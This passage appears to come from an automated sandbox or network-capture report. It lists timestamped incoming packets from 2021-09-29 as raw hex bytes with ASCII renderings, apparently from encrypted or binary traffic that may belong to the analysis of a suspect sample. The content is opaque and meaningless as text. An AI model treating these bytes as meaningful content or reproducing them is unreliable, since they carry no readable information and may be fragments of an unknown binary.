6c aa 6f 07 6c 23 96 f5 4d c4 79 4f 14 0b d1 e3 23 54 d1 bb 67 e0 21 2e 15 7b 44 5b 57 d5 b9 2e 2c a7 7c b6 Data Ascii: ?I%Iq%p=nm_0rJ?jvci(R(RiB4VMr2793:ldXauZ!- gkw8SEunH%T1F1"iaO3lR{rELQjK?1_?N3br&-".Hs:"Plol#MyO#Tg!.{D[W.,\|
2021-09-29 19:26:41 UTC	125	IN	Data Raw: 65 14 03 b3 38 7c 97 57 22 d3 1e c7 64 1f bc ec af 13 05 70 a3 10 c5 fb 57 11 d7 6b 99 44 7e 63 19 12 5b f0 06 94 78 fa 26 c0 55 aa 84 6f 16 48 e5 da 95 a2 e9 46 78 04 83 07 70 43 00 5d 17 43 06 28 c4 0a a3 e5 dd bf a9 88 4e 01 b0 5b f1 7d 64 8d cc b5 96 a0 bb eb d5 1c da 42 aa f6 b1 08 a2 86 ad 97 39 10 00 f9 4e 86 a4 1a 69 b2 3d 99 7a 0f 88 d8 37 3f 4e 10 16 6c 4f 4a 69 f4 91 ec 97 82 ea 11 b0 37 d1 ae 95 b5 ba 05 6a b9 c5 fe 52 8b 29 3c 59 10 19 47 de f7 55 79 30 d3 5c 18 29 29 88 3e c9 c4 7a f2 0e 66 39 1a 9e 10 d7 e6 8b e1 41 bb d9 5d f1 44 e3 05 33 a1 63 3e e7 0a 15 97 03 a7 6b a3 f2 4c 37 04 4b 7c db 1a 58 4a bd a5 87 c4 87 e7 86 3c ae 60 67 f4 e9 72 8d 31 e4 c1 09 d9 7b 67 52 44 7f a8 42 24 54 41 a3 00 1f fc 0a 7b f5 ed c3 9e 99 67 21 9b 73 dc d9 Data Ascii: e8\|W"dpWkD~c[x&UoHFxpC]C(N[}dB9Ni=z7?NlOJi7jR)<YGUy0\))>zf9A]D3c>kL7K\|XJ<`gr1{gRDB$TA{g!s
2021-09-29 19:26:41 UTC	127	IN	Data Raw: 11 2c 38 ad a3 e3 25 97 7c cf 79 28 0c cc da 1c e9 9f cf 97 1a d0 74 fb 05 60 b5 13 1c 7a 3d a7 4c 51 10 89 6d 38 ba da 59 b9 f0 64 7e 71 62 fc 21 43 fe ff fd ed 0c 20 33 6c 02 7b b0 c1 b2 05 2c 8f 56 a3 a2 ca 01 10 58 ed 20 28 c5 8d 45 58 57 c8 df 7a 50 8c e2 b1 bd d7 d8 5b 52 67 cd 34 36 4c 40 e9 7b 0f e3 b8 14 63 6c 98 3c 36 cd 6a b7 f7 34 d5 14 ba 90 59 48 99 05 0a cc 0a c6 e2 b7 be 0b 96 60 61 78 7b 7f da 8d b0 9d 34 04 95 05 1c ff 4d a8 e7 04 e8 1c 0a e2 84 88 cf 8f 75 f3 a7 1d 7a 03 d7 f8 f6 d7 67 f5 3d 11 1c ac 9b 1f 53 89 9a cc 02 e6 8c fd 8f e5 25 bc 50 b5 22 79 d3 b5 eb 67 7a 68 45 ec 13 ae 47 f0 1a b9 1f 9a 71 ab a6 3c 97 ee 4a 2f 06 1d 15 22 57 f0 50 80 80 de 42 58 8e 2f 39 22 a7 56 eb 80 69 46 f3 a8 e3 5d 64 39 97 e1 0a 41 6a df f7 eb a2 13 Data Ascii: ,8%\|y(t`z=LQm8Yd~qb!C 3l{,VX (EXWzP[Rg46L@{cl<6j4YH`ax{4Muzg=S%P"ygzhEGq<J/"WPBX/9"ViF]d9Aj
2021-09-29 19:26:41 UTC	128	IN	Data Raw: bf 43 77 f9 13 3d a5 0d 8f 40 8b 9c 34 84 6b 35 e1 c5 6e c6 70 8c 30 84 f6 fc e1 ce 25 8e 35 79 f9 c1 40 c9 19 cf e9 67 a1 c8 0c 2c d9 61 dd dc 1e 64 d4 a0 32 64 fa 71 63 d5 76 dd 89 b1 50 0b b6 77 f6 b5 5e 8d 2b 6c 64 a2 c8 e7 da 3a bc 24 ba b9 5e 44 93 28 82 f1 b1 a3 80 33 e5 31 b7 bd 4e c3 e0 59 8d b2 63 ee 3b 81 be a4 6e 15 00 40 2f 29 7d eb e1 63 bf a3 f6 33 e6 47 62 3e e7 a6 45 59 9a ee 60 cf 1c dc c9 3c 57 2b cc a8 e6 c1 08 63 11 f8 e9 01 87 e0 0f 24 dd 14 d4 ae c2 2d 44 a2 2a 3b 2f 2b 82 bb c8 90 85 b4 ea 70 6d bf 21 6b 71 17 9e b4 57 99 c7 c8 09 03 0b 88 76 d9 7d 88 40 a4 cb 43 7d 05 17 4e 38 55 16 56 11 ef fb 6c 83 2f f6 3d 41 d0 15 02 0d f9 e7 38 03 be 53 80 dc 71 91 91 21 55 0a 87 57 c7 14 6a 73 00 80 db 77 68 71 45 48 55 67 e9 9e 96 42 34 dc Data Ascii: Cw=@4k5np0%5y@g,ad2dqcvPw^+ld:$^D(31NYc;n@/)}c3Gb>EY`<W+c$-D*;/+pm!kqWv}@C}N8UVl/=A8Sq!UWjswhqEHUgB4
2021-09-29 19:26:41 UTC	129	IN	Data Raw: 8d a4 1b 2f 18 5e f5 be f6 2c 5c 5d c0 92 8a b7 6f d9 38 24 19 b0 1f 4f 1a 10 85 cc 75 fe 9c 38 38 0d c7 e8 1c a0 be d0 6a 75 93 25 17 25 27 28 74 ab 07 3c 4a 37 e3 59 7b ee 28 e9 36 68 6c 5e ba cb 89 30 dc 43 85 a4 84 97 fe d5 c5 66 2c a5 25 12 50 18 30 0f ca 79 8f a0 7e 65 ac 3c 6c 61 93 c4 c0 c4 1b 43 3e 50 c8 b9 98 c0 78 80 4f e7 18 d7 d2 58 de 3f 37 2f f2 ab 78 74 a6 0b 9c 2a 5c 9d 9d 5c 4a 1f e7 b0 07 a9 76 95 37 23 7b be 05 e3 33 d1 6f 4e 77 b1 6d 5c c2 1f 38 35 14 ba b8 6a d8 19 77 cf 8f a9 40 e9 50 f3 fa 63 ae c1 6b 65 0b ad 00 f0 3d 9f 76 79 39 bf 8b c4 0e bc 68 62 b7 95 a1 48 bc a7 7b 09 5d 81 8a d3 a3 a7 a5 94 e9 d3 30 9a be 4d 6e b0 0c b9 be 94 b2 14 1e bc c3 7b b7 8c 3b ca b2 2a b1 77 e5 8f de 1d 46 18 a4 15 6c 4d 7f f6 10 2d c0 98 a0 d5 ac Data Ascii: /^,\]o8$Ou88ju%%'(t<J7Y{(6hl^0Cf,%P0y~e<laC>PxOX?7/xt\\Jv7#{3oNwm\85jw@Pcke=vy9hbH{]0Mn{;wFlM-
2021-09-29 19:26:41 UTC	130	IN	Data Raw: 17 ba 90 63 e4 bc 07 0a d0 08 85 9e 2e b9 21 10 01 b1 e3 5e 56 f5 18 af d4 14 95 b3 28 0d c6 66 33 ca 06 e8 3a a8 84 fa 11 d9 a7 5c ee ed 81 75 ac a6 47 e8 9d 43 c3 8a 11 1c b3 08 12 53 9a bc ea 9c 8c f2 64 ae 6c 29 a3 1b 36 2f 79 df 93 f2 06 dc 09 df ed 13 b2 4f 68 18 b9 19 2a 3a f8 2d 1b b7 5f 55 63 9c 18 b4 25 71 ef 03 81 89 f0 40 58 97 0f 93 71 3c 57 ed ae 27 8e 6a a9 e3 c3 5e 59 1c e2 07 f8 4c c0 ba eb 24 18 1f 44 92 8c b3 bd d3 d1 ef e2 78 ba 5a 8b 55 38 83 2f 55 79 15 85 c9 51 a7 0e fd 41 0c c4 e0 6a 33 84 39 4b e0 8b 93 e8 53 a8 cd 9f ab 50 ac c5 ff 87 33 0f 52 31 5d 59 2d 08 91 80 7a bd 3d 7c f9 17 c7 60 17 81 5b 88 3e 0d 7c 3e 7b 7c 18 57 15 f7 cf b1 69 7c f9 3a 15 24 a8 bf 2c 78 fe 39 f6 7b 87 a9 60 2a 7f de f8 7c a4 c3 c4 19 92 aa 2a 76 63 bc Data Ascii: c.!^V(f3:\uGCSdl)6/yOh:-_Uc%q@Xq<W'j^YL$DxZU8/UyQAj39KSP3R1]Y-z=\|`[>\|>{\|Wi\|:$,x9{`\|*vc
2021-09-29 19:26:41 UTC	131	IN	Data Raw: c9 4e 27 86 dd 0b aa 19 22 3f e7 a2 7a 37 0c cb 4d de 1b eb 9c 1e c4 28 e6 2e 84 70 24 61 15 de 19 6f f9 79 94 01 f4 19 8b 14 3d 00 4b 84 15 75 03 b2 87 a4 e9 a7 b6 9e c7 74 47 3f 75 9c 0e 8e 9b 94 88 86 bd 52 b6 0b 29 bc 4f 83 86 3f 45 a4 eb 04 7a 2d 3a 53 19 7b 11 3a 6f 70 d0 ea f9 a9 8c a7 60 dd c6 24 12 82 5d df 2b ac 75 bf 1a 59 bc 93 01 2a 2c ed 29 41 34 42 5a 1d fc 47 78 c3 01 fa 56 29 43 15 46 96 42 2e 6e 39 a5 1c 9e c3 35 34 76 a7 dd 26 06 70 4b 32 57 96 6d b7 fa a4 81 d5 05 74 9c 00 40 d3 98 d7 28 03 f0 64 f0 32 1e c8 50 a8 a6 5b 30 7a 43 99 ee 10 01 fe 4f aa 76 87 34 8c 59 70 82 06 23 b7 a3 d0 75 00 bb eb f7 08 e5 d5 6e 0e 1b d0 50 38 4c fa 90 21 33 74 0f e0 6c a6 38 0f 13 ba 93 f7 5f 99 16 4e 14 0f 61 d8 0c 55 c7 99 87 c8 21 2e 35 8e 48 5b 46 Data Ascii: N'"?z7M(.p$aoy=KutG?uR)O?Ez-:S{:op`$]+uY*,)A4BZGxV)CFB.n954v&pK2Wmt@(d2P[0zCOv4Yp#unP8L!3tl8_NaU!.5H[F
2021-09-29 19:26:41 UTC	132	IN	Data Raw: de 3f 33 95 77 86 69 52 1c 2e b0 38 7a 9d 70 52 4a 1f dd 48 2d ab 76 8c 14 89 28 25 04 e5 1d 77 10 d6 76 b1 f3 59 4e 0e 1e 15 8f 9e 95 78 de 68 d8 cf 8f b1 48 1d 55 f3 fc 56 24 97 df 66 0b af 0a 70 42 06 77 e3 18 b2 3b e2 2e be f3 47 9a a4 d4 66 1e a7 64 17 55 49 8f d3 a5 94 0b c7 72 d2 36 b4 1c 30 f6 b1 0c 27 bb 1a a0 32 3e 25 e7 56 a6 8a 6a 67 b2 2a ae 66 25 a5 dc 1d 57 1a 0f 69 f5 4a 55 74 4e b0 c0 98 a4 6f 2d bd 2a f6 8e 91 ab b7 2d 67 19 cb f8 78 fa 06 8d 75 12 1d 5e ee ef 0e cd 3e f5 47 22 0c 34 89 3e 53 fe 7a cb 05 44 3c 1d b4 7e 89 8c 84 e1 45 be ea ea d6 69 ea 09 ae c4 da 76 e6 0e 35 8e 0e 8f 46 3b d7 67 0c 4c 15 e3 db 1a 5c 75 56 31 a2 e9 95 e9 b4 22 8e 33 4c 76 97 f4 ca 19 cd e3 0e de 51 0d b6 f8 53 b9 60 1b 4e da 86 2d 31 24 1b 66 d5 6d ea b3 Data Ascii: ?3wiR.8zpRJH-v(%wvYNxhHUV$fpBw;.GfdUIr60'2>%Vjgf%WiJUtNo--gxu^>G"4>SzD<~Eiv5F;gL\uV1"3LvQS`N-1$fm
2021-09-29 19:26:41 UTC	134	IN	Data Raw: 71 b9 d7 62 ac 56 a6 1f 0a 27 73 a6 2b 35 b1 5c f7 74 00 21 ee 48 0a c3 f5 ae 03 33 fd 72 e4 46 d0 16 40 8b 5d 22 e6 4c 88 13 89 6d b9 b7 da 49 9f d6 66 15 0f fb dd be 57 e1 b9 78 c1 09 03 17 73 42 71 c0 bd 2b 04 37 a3 5b 88 a3 cc 2b e4 03 59 33 0e e1 bb 03 c2 72 c5 78 4c 4f cb dd 58 97 fa da 44 58 65 62 48 af 4b 6a 87 25 bc e3 b8 10 e6 01 2f 08 3d e3 66 a9 bf 14 f2 ad aa 90 43 7e 9c 2a 08 ca 26 82 1a 50 26 0a 92 7b 08 c9 5f 52 d5 31 8a f9 06 29 b6 2e 1d e0 46 a0 08 16 e8 1a 3f 86 d2 3c cc 8f 77 c6 6b f9 c6 2f d8 da c9 b1 46 e3 3e 8b 39 9e 80 11 5e a7 9b ca 28 ac 3e 74 8e e5 3e aa 33 02 05 54 db b9 72 52 c3 76 46 e8 33 9b 6e dd 18 23 3c 9d 0d f3 1f 10 96 ea 55 43 49 28 38 2d 6e cf 34 8d a3 dd 44 72 13 5b 88 0e a5 52 cd 84 06 38 6a 33 c6 74 6a 52 2d ea 26 Data Ascii: qbV's+5\t!H3rF@]"LmIfWxsBq+7[+Y3rxLOXDXebHKj%/=fC~*&P&{_R1).F?<wk/F>9^(>t>3TrRvF3n#<UCI(8-n4Dr[R8j3tjR-&
2021-09-29 19:26:41 UTC	135	IN	Data Raw: e2 f0 c7 69 ec 3c 09 92 6e 75 e6 0c 3f 0e 71 16 47 a1 f6 6a 53 6b 35 e5 40 3f 71 47 87 1f ec e8 88 c1 b9 7c 9d 35 66 eb cd 45 e6 1b c9 c5 23 59 2f 94 2d dd 7a 88 09 3a 49 db 1c 08 3c c8 33 46 9a 77 c2 9e b9 fd 1a b6 71 c3 fd 08 39 28 6c 66 97 38 03 66 16 b2 06 85 9f 7f 3f 96 b2 a7 c1 8b a8 a2 63 e2 1b d9 e3 75 d1 e0 5d 8d e1 d1 e6 14 8e 9e 91 9f 4b 1b 44 2f 2d 42 ab c8 4e bd 39 d5 34 9e 1f db 6e e6 a2 5a 01 c6 d8 4d c1 25 d8 99 31 c6 2e ca 82 7c 97 bc 60 11 fa e3 3d f8 79 0e be fc 26 bf 12 c7 52 4a 84 35 62 ee a1 87 bb d7 ab b3 b1 c5 72 6b 93 89 7b 96 8f 9f b0 73 d5 bc 52 2c b4 21 83 78 85 7d 6c 44 a4 cb 7c 73 39 3a 4c 26 7b 11 3a 6f 70 d0 ea f9 a9 8c a7 60 dd 4e 25 12 82 5d df 2b ac 75 bf 92 58 bc 93 01 5e 34 ed 29 41 05 42 5a 1d fc 47 78 c3 01 fa 56 29 Data Ascii: i<nu?qGjSk5@?qG\|5fE#Y/-z:I<3Fwq9(lf8f?cu]KD/-BN94nZM%1.\|`=y&RJ5brk{sR,!x}lD\|s9:L&{:op`N%]+uX^4)ABZGxV)
2021-09-29 19:26:41 UTC	136	IN	Data Raw: 50 0d a1 e0 42 ae 91 20 a3 1b 0f e7 41 dd 93 eb 27 72 5a 44 ec 15 9c e9 a3 81 b8 19 b4 3f a0 3e 3d 97 70 70 4e 8e 1e 18 58 70 ef 1c 80 4a c8 42 58 8e 13 39 22 a7 56 eb 80 85 46 f3 a8 e3 5d 5b 02 0c c4 27 d4 69 ed ab ed a9 66 1e 44 85 84 bf a9 d3 d7 d8 48 2b 21 5b 8d 7b 9a 4a b6 54 79 8b 80 93 41 81 2e d0 64 21 d5 e6 e4 4c 85 39 50 e8 8e 87 e8 55 9c 67 cc 30 51 aa eb 59 41 aa 0e 52 af 58 0c 3d 2e b1 a2 5f 90 2f 7a 6a 67 c6 60 00 89 46 9c 3e 0b 49 ac 2d c8 1b 57 17 fd f0 cf f0 7d 63 1b 18 4c 8f 9f 95 e2 db 14 c4 e9 af d0 61 30 57 d3 ba 6a a2 e9 59 6a 23 86 28 72 45 2c f5 07 a4 9e 29 c0 2e c6 f3 47 9a 1e a2 45 0f 81 5b 73 7c 64 8d f3 ee a8 8d b9 f7 fb 1b b2 3c 35 dd 37 72 24 9f 37 b6 34 65 27 e6 56 3c 8f 36 7b 94 0a ca 56 0d 88 fe 4e 47 30 89 08 7d 63 78 72 Data Ascii: PB A'rZD?>=ppNXpJBX9"VF]['ifDH+![{JTyA.d!L9PUg0QYARX=._/zjg`F>I-W}cLa0WjYj#(rE,).GE[s\|d<57r$74e'V<6{VNG0}cxr
2021-09-29 19:26:41 UTC	137	IN	Data Raw: e1 2d 52 86 b9 72 b7 2f 04 ae f3 86 70 2e 63 84 50 5d 76 2d 1a 57 20 53 3c 20 47 5b f8 6c 81 1a 0b d9 fd fc 1a 20 32 1e c6 fa 06 24 76 b2 d4 7f 9c 0f 20 53 20 cd 34 46 15 6a 68 03 d4 6c 50 45 79 49 d1 57 de 34 9b 92 62 b3 f5 1c 88 94 9d ce fa 12 56 3a fc bc 0a 50 72 35 76 be 5f bc d2 8f a9 53 7d c7 1f 7e dd f2 46 d3 08 9d 6b 41 dd ba 1d c5 9f 8e 86 c5 11 c1 4f b9 ac 17 20 d6 75 80 5b 83 1e 0c 0d 6f fd 9f 26 97 78 f0 ea 01 21 ce 40 3f ee e7 97 2e 84 d1 70 e4 60 b9 88 3e 12 43 2b ca 41 a2 12 8f 47 a1 ec 6e 5a b9 f2 6e b4 0e fb fd bb 62 cc a8 41 e8 81 2f 15 73 64 17 5e c3 b2 1d 1f 8a 79 a1 a4 e6 a9 00 bf 75 21 2c e1 33 03 c2 72 7f f5 71 5e ed e2 eb be d7 d8 64 10 57 e0 36 28 62 47 81 05 90 c8 3e 6e e5 25 02 1d 3b 61 4d a8 bf 8e f7 3a a8 b6 63 c2 b5 07 0a ea Data Ascii: -Rr/p.cP]v-W S< G[l 2$v S 4FjhlPEyIW4bV:Pr5v_S}~FkAO u[o&x!@?.p`>C+AGnZnbA/sd^yu!,3rq^dW6(bG>n%;aM:c
2021-09-29 19:26:41 UTC	139	IN	Data Raw: b3 73 43 02 57 bb 3c 9f 29 5e 2b 91 e3 61 ba 46 86 68 1e 87 b6 10 7d 64 93 fb 8e bc 8d bf c1 51 48 29 3d 33 f3 91 cf bc 9e 37 28 31 33 37 c0 76 65 ab 1b 69 92 ff a8 57 0d 96 f6 30 53 30 8f 3d ea 35 cc 71 6e b0 e1 5c a5 f5 08 0a 1d fd bc b3 8a 73 2c 47 bb e5 25 61 e5 57 ba 55 38 30 5a c4 6b 5a d2 41 6c 42 02 0d 15 4c 3f c9 db cd ff 0e 76 1f 3c 71 7f a9 7f aa 0b 5c a4 c2 d8 de 41 c1 21 2c bc 69 f5 98 93 14 88 0b af 80 a0 f2 4a 87 4f 18 f4 fc 3a 9a 54 a1 3f 82 1d 91 c1 99 38 a6 18 64 f4 ef 47 4d 67 50 c2 09 db 71 ca 2d dd 7e 32 63 16 5b fd a6 ea 10 da 15 46 23 6f c2 9e 86 60 21 9b 73 dc d9 0a 96 54 f5 61 bd ba 5d 37 16 b2 02 3f ea 53 2e b0 08 4a ed 99 8e a2 20 f9 1b d9 df ff ef e2 5d 94 ef 7b b5 8f 8f 98 bf 39 fc 83 45 2f b3 47 d7 d8 68 9d 6a f1 19 8c 19 e2 Data Ascii: sCW<)^+aFh}dQH)=37(137veiW0S0=5qn\s,G%aWU80ZkZAlBL?v<q\A!,iJO:T?8dGMgPq-~2c[F#o`!sTa]7?S.J ]{9E/Ghj
2021-09-29 19:26:41 UTC	140	IN	Data Raw: 59 c6 25 df c2 b2 01 17 4e 7a a1 a2 56 0e 53 37 52 01 c1 c0 92 02 e2 ed fe d0 5c 52 e3 ef 48 bf d1 f2 c2 20 d6 e1 36 32 6a 80 82 05 96 78 9d 3d 6e 02 22 f3 1a c3 4c 88 19 0f d2 17 a5 9a 6b 4d b6 07 0c e0 a6 d6 05 2f bf 0f b2 94 29 e2 5e c8 f0 86 bd f2 34 e4 97 05 1c c0 f6 9b ca 06 f7 11 08 a1 f8 11 c8 a5 f3 92 74 86 5f 2a f8 32 e8 9d 47 79 1b 3c 0d 95 b2 db 7f 8b 9a ea 93 97 f2 64 92 cd 0c a1 1b 29 2d d2 a3 0a f5 2c 5e 57 ab ed 13 b6 f5 f8 35 ab 3f 90 f2 d4 3f 3d b7 2b 4e 63 9c 27 15 05 5c ed 1c a6 8b 5b 3c c1 90 25 15 2f 4b 57 ed aa 9d 1d 47 bb c5 79 95 75 0d c4 07 a0 57 c0 ba d4 bb 38 32 46 85 a2 b4 39 ad 4e c4 60 02 03 b4 8a 51 18 ae 0a 78 6b a9 80 0b 41 81 2e 6a 61 10 c4 c0 db 31 ac 14 52 c8 a0 bb 6e 2b 1b 4e e1 36 71 5c c0 df 3f a9 2a 7f b9 5e 54 cc Data Ascii: Y%NzVS7R\RH 62jx=n"LkM/)^4t_2Gy<d)-,^W5??=+Nc'\[<%/KWGyuW82F9N`QxkA.ja1Rn+N6q\?^T
2021-09-29 19:26:41 UTC	141	IN	Data Raw: d5 70 e8 18 e7 e4 08 b6 75 fc cf 22 14 2a f6 45 90 ac 5b df 07 b0 02 a5 ef 1b 22 96 28 9d fa b1 a3 80 33 e5 31 5f bd 4e c3 e0 59 b2 d4 fb cb 16 14 bd 96 0b 13 a2 54 2d 29 62 da b2 53 bd a3 ef 0e a4 14 f9 3f e1 88 dc 5f 99 ca 4d c5 1a d1 b3 1c c4 b4 e9 85 e8 cf 05 73 13 fe c3 4f 6b 64 0e 24 c6 02 85 19 e5 00 4d ae b3 3c 96 b3 87 bf e8 9c 99 9c c7 e8 48 94 19 23 2f 9d 9d b4 53 a6 26 4f 2c 2e 1b 84 41 8e 5f 3f 43 8e 4d 22 ef 2c 3a 48 18 47 3e 38 6f ec df 41 95 16 ad b3 66 fd 1a 04 d7 9f c7 fa 19 97 7b b2 c4 59 ba b9 a3 2d b9 ec 29 5a 35 7f 75 1f fc db 77 68 6e 45 77 3c 45 35 9b b6 ac 33 f4 1c 96 26 95 e1 e8 32 5c 25 83 25 0b 70 4f 0d 60 bc 40 b5 60 87 86 42 5d cd 8b 02 44 f3 66 21 35 03 6a 5a f5 0d 3a e8 88 82 20 25 89 c0 4f 9d ce 18 22 d6 62 32 53 ac 0c 2c Data Ascii: pu"*E["(31_NYT-)bS?_MsOkd$M<H#/S&O,.A_?CM",:HG>8oAf{Y-)Z5uwhnEw<E53&2\%%pO`@`B]Df!5jZ: %O"b2S,
2021-09-29 19:26:41 UTC	143	IN	Data Raw: 7e 2c c4 27 51 63 e8 97 c9 89 16 35 c2 fb 3d 9f bf d7 f7 f2 62 06 23 c1 ae 7c 0a 12 0f 62 7b 8f a0 c4 79 a0 2e 4a 5e 07 ec ed c6 3b 82 13 d6 b6 3f 90 e8 51 a2 77 e3 32 51 36 e4 f2 2d 15 2f 6a a9 78 74 1c 6a 90 38 7a a2 34 74 67 1d c7 66 2a 2b 08 13 3f 0b 52 9c 3c e7 19 57 8b f2 5b a0 4f 5c 5a 1d 38 35 ae d2 b4 78 fe 25 fe e2 8d a9 66 1a d1 8d 63 7d a2 ed 66 5d 09 ab 2a e8 66 2b 65 5f 1d a5 2b c4 0e 9c a1 66 9a 84 98 41 36 8a 79 09 7b 4e 0b ad 3a bf 8d bd cb e8 34 b0 3c a9 d2 9c 1e 9b be 0c b0 14 1e 06 9a 77 a6 aa 04 46 9a 07 b3 57 0b a2 58 63 c8 31 89 13 4c 77 57 70 6e 2e e4 b5 b6 d3 28 ac 3a d0 ae b5 01 96 2d 47 a4 d3 d0 55 e7 57 a3 72 96 63 c1 c5 6d 74 74 02 f7 43 02 93 10 a4 2c ef fb 6a d8 23 64 19 dd 95 7e a9 60 86 c9 68 a6 c2 c1 fe eb 92 ba 2d ba 47 Data Ascii: ~,'Qc5=b#\|b{y.J^;?Qw2Q6-/jxtj8z4tgf+?R<W[O\Z85x%fc}f]f+e_+fA6y{N:4<wFWXc1LwWpn.(:-GUWrcmttC,j#d~`h-G
2021-09-29 19:26:41 UTC	144	IN	Data Raw: 59 43 0a 2b 47 35 bb 23 61 2e f4 06 a0 23 ba e3 ee 1e f4 d9 64 bd 0a 74 6b 73 74 be 40 2f df 8f ba 75 5b b3 9f 00 44 d3 ff f4 28 03 74 69 f0 22 38 ee a4 2e d8 c2 11 c1 4b b9 b1 0d 20 d6 f8 8d 5b 93 38 2a 78 eb 83 06 07 56 5f d0 75 1f 30 e6 f7 18 c3 f3 9b 88 65 49 71 e4 44 da f0 3c 12 5c b8 c7 41 b2 34 a9 0d 21 92 f7 7b 6b d5 4e 14 10 db d5 0c 45 e1 bf 4d 4a 5f b7 14 73 40 7b 27 c1 b2 05 ad 82 56 b0 84 ec 4a 7c 26 74 01 da e2 92 02 de 5a c8 d2 5c 49 e1 40 34 26 d6 d8 40 7e 2d e2 36 36 d0 4f ae 14 b0 c2 da 12 7c 24 22 e1 38 c3 4c b5 97 39 d0 17 bc ba c5 1e 2d 06 0a ce 00 cb 9e 2e bf 91 b7 52 3a c4 7e 31 d7 ab af f4 eb 2c 96 05 03 ec 6e ad c8 06 ee 30 a6 f2 63 10 ce 8b 51 88 ef 87 5f b4 fd f3 fb bb 67 87 3c 11 1c 93 99 13 7e 8b 85 dc 00 a1 f0 64 88 cf a3 dd Data Ascii: YC+G5#a.#dtkst@/u[D(ti"8.K [8*xV_u0eIqD<\A4!{kNEMJ_s@{'VJ\|&tZ\I@4&@~-66O\|$"8L9-.R:~1,n0cQ_g<~d
2021-09-29 19:26:41 UTC	145	IN	Data Raw: 68 6b d1 72 6e b4 5b bd 89 e7 2e b0 bc d2 ae 95 8a bf 0b 47 bb da ec 50 c8 55 a5 5e 3a 9b 26 5d 6c 70 50 1f 70 41 02 09 af ac 13 db fd 77 5f 21 64 39 3c a8 58 a9 7f 95 f5 6d 89 c0 c7 d2 43 6a 5d b5 bb 43 73 c6 8c 17 88 0f 15 63 8c e0 6c 3d ec 37 e5 da 3a 6c 73 a1 3f bd fe a0 ec 9b 20 88 1f e4 8a 70 6c cb 1d e9 44 0b df 51 97 09 f0 6f 8e 66 bc 4b db 86 0d 56 fc 15 66 c8 5e ef 9c 99 7b 23 34 0f 45 de 20 10 0a e4 62 bd be e7 da 3a a3 24 85 47 7c 3f 96 08 cc ca 99 8e 9e 1b ce 19 d9 c5 fd 40 9e c4 93 c5 fd eb 9f 8c 98 bb 83 10 af 54 09 09 eb f8 c9 4e 9d f7 d6 19 8c 27 d3 12 e5 a2 5c 0b 86 b5 d4 c0 3a c7 91 96 c6 2e cc 32 df c4 37 47 31 74 c1 6f f9 59 52 02 d9 0b b2 3d cf 2d 49 84 33 68 8d cc 1e ba c8 8b bb 17 c5 72 6d 23 2e 28 1e a8 bf 3f 51 86 bd 72 49 08 04 Data Ascii: hkrn[.GPU^:&]lpPpAw_!d9<XmCj]Cscl=7:ls? plDQofKVf^{#4E b:$G\|?@TN'\:.27G1toYR=-I3hrm#.(?QrI
2021-09-29 19:26:41 UTC	146	IN	Data Raw: 7e a2 e9 dc 42 26 ba 0c 52 d9 04 77 79 1d 25 0f c4 0e ab da 6a 98 84 81 42 9c d9 e2 08 7d 60 ad 48 a1 be 8d 23 ce fe 27 96 1c a8 f5 b1 0c 9d 25 11 b2 14 06 0e cb 54 a6 ac 31 eb cc b3 b0 57 09 a8 42 1f 51 30 13 32 41 5a 73 50 f2 b6 c1 98 84 48 2e 90 38 cc 86 b8 a8 b7 2b 6d 39 bb 61 79 e5 53 85 c5 12 1d 58 5e 48 5d 45 19 d5 de 00 09 35 a9 fd ef db 57 cd 0b 49 3b 1c b2 54 2b 01 13 e0 45 a0 e2 59 d6 69 ec b9 09 97 52 51 c6 94 17 88 0f af 82 87 f2 4a 03 42 18 e7 da 1c 76 d7 df a6 a3 e9 8c e1 06 22 8e 35 fc d1 c4 7c ed 39 56 c1 09 df 71 c1 0a dd 7e bf 6e 16 4b db 80 07 93 a4 8c 67 d5 72 e2 3e 9b 7d 09 2c 54 f1 ce 06 34 8a 6e 60 bd 9e b0 d9 17 b2 1f 8d e2 7c 3f 90 02 00 92 00 8f 82 37 c3 ba db c3 d7 58 c5 70 83 e3 d9 6a 14 8e 98 9b cd 13 82 45 33 01 4f f8 c9 48 Data Ascii: ~B&Rwy%jB}`H#'%T1WBQ02AZsPH.8+m9aySX^H]E5WI;T+EYiRQJBv"5\|9Vq~nKgr>},T4n`\|?7XpjE3OH
2021-09-29 19:26:41 UTC	147	IN	Data Raw: e3 b9 67 52 04 03 04 55 64 9a 44 c3 b2 25 7d 8f 7b a1 bc e4 06 7c 26 72 0b aa bf 0b 03 c2 76 c5 12 5e 4f cb 58 6f 92 c6 fe 64 9c 4d e0 36 16 18 42 83 05 88 ca 95 12 7c 22 28 9f 65 5a 4d a8 bb 34 11 15 ba 90 d9 45 99 15 2c ea e3 aa 9c 2e 9f 51 ba 7f 28 fd 4f 7a f8 a9 af d2 3e 89 e8 9c 1d e0 42 a0 0e 04 e8 1a ba a9 d7 03 e8 af b5 ee ed 87 7f 45 f0 de e9 82 4c cb 13 13 1c b5 b8 b5 00 12 9b ca 2c ac 37 66 8e e5 bb 86 36 3e 21 74 18 91 f4 2c 7a 01 6e ec 13 ae 47 f0 1a b9 1f 9a 8d ab a6 3c 97 ee 75 a5 9e 38 38 b7 54 c2 09 86 81 1b 40 58 91 05 69 27 a5 56 cd b9 06 38 6a 81 ce 5b 7b 72 27 46 59 d7 4d c0 be eb 4e 12 1f 44 1f 81 b3 ae f5 f7 02 62 06 23 7b 00 78 18 34 31 7d 54 8d a0 e2 6a 07 50 d3 40 0c c0 e0 0c 39 84 39 ca ed 8b 83 ce 75 4a 4d e1 32 71 3f e8 df 3f Data Ascii: gRUdD%}{\|&rv^OXodM6B\|"(eZM4E,.Q(Oz>BEL,7f6>!t,znG<u88T@Xi'V8j[{r'FYMNDb#{x41}TjP@99uJM2q??
2021-09-29 19:26:41 UTC	148	IN	Data Raw: dd ac ab 6f 43 14 66 d1 56 2a 9c 99 7d 93 93 5c ce f9 00 fc 28 6c 60 9d 67 56 ff 17 ad 14 8d e2 7c 3f 90 02 04 92 00 8f 82 37 c3 f2 db c3 d7 58 c5 70 80 e3 d9 22 14 8e 98 9b f6 1e 82 45 30 23 4a d7 cb 4e bb 89 72 67 15 38 fb 3b c7 48 58 21 00 51 68 ec 2b e5 91 f6 c6 2e cc 88 03 c2 25 61 0d d6 ee 6d f9 7f 24 a2 a7 92 ac 34 e3 20 a0 86 35 42 95 97 aa a9 ee af 70 9e c7 72 4d 46 20 05 0f 91 96 9c 7e 84 bd 54 06 a8 7a 37 68 a3 59 1f a9 a6 cb 5c ec 08 17 5e 1e 73 d0 3a 6f 76 da 64 ab 30 8d b8 69 d5 37 26 12 84 ed 7c 78 27 52 9f c2 79 51 91 21 53 